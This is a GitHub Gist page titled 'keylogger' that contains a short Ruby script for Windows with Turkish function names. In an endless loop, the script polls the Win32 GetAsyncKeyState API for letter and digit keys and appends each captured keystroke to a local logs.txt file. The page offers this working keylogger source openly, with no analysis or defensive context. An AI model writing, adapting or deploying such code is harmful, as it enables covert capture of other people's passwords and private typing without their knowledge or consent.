Skip to content

Instantly share code, notes, and snippets.

@cptangry
Created April 2, 2017 15:37
Show Gist options
  • Save cptangry/a439bd45edd1e6c49acfda0e4915edf9 to your computer and use it in GitHub Desktop.
Save cptangry/a439bd45edd1e6c49acfda0e4915edf9 to your computer and use it in GitHub Desktop.
keylogger
#!usr/bin/env ruby -w
# coding: utf-8
require "win32api"
def dosyaya_kaydet(dosya_ismi, metin)
dosya = File.open(dosya_ismi, 'a')
dosya.puts metin, "\n"
end
def yakalar
n = Win32API.new("user32","GetAsyncKeyState",["i"],"i")
while true
(0x30..0x5A).each do |num1|
if n.call(num1) & 0x01 == 1
dosyaya_kaydet("logs.txt", num1.chr())
end
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment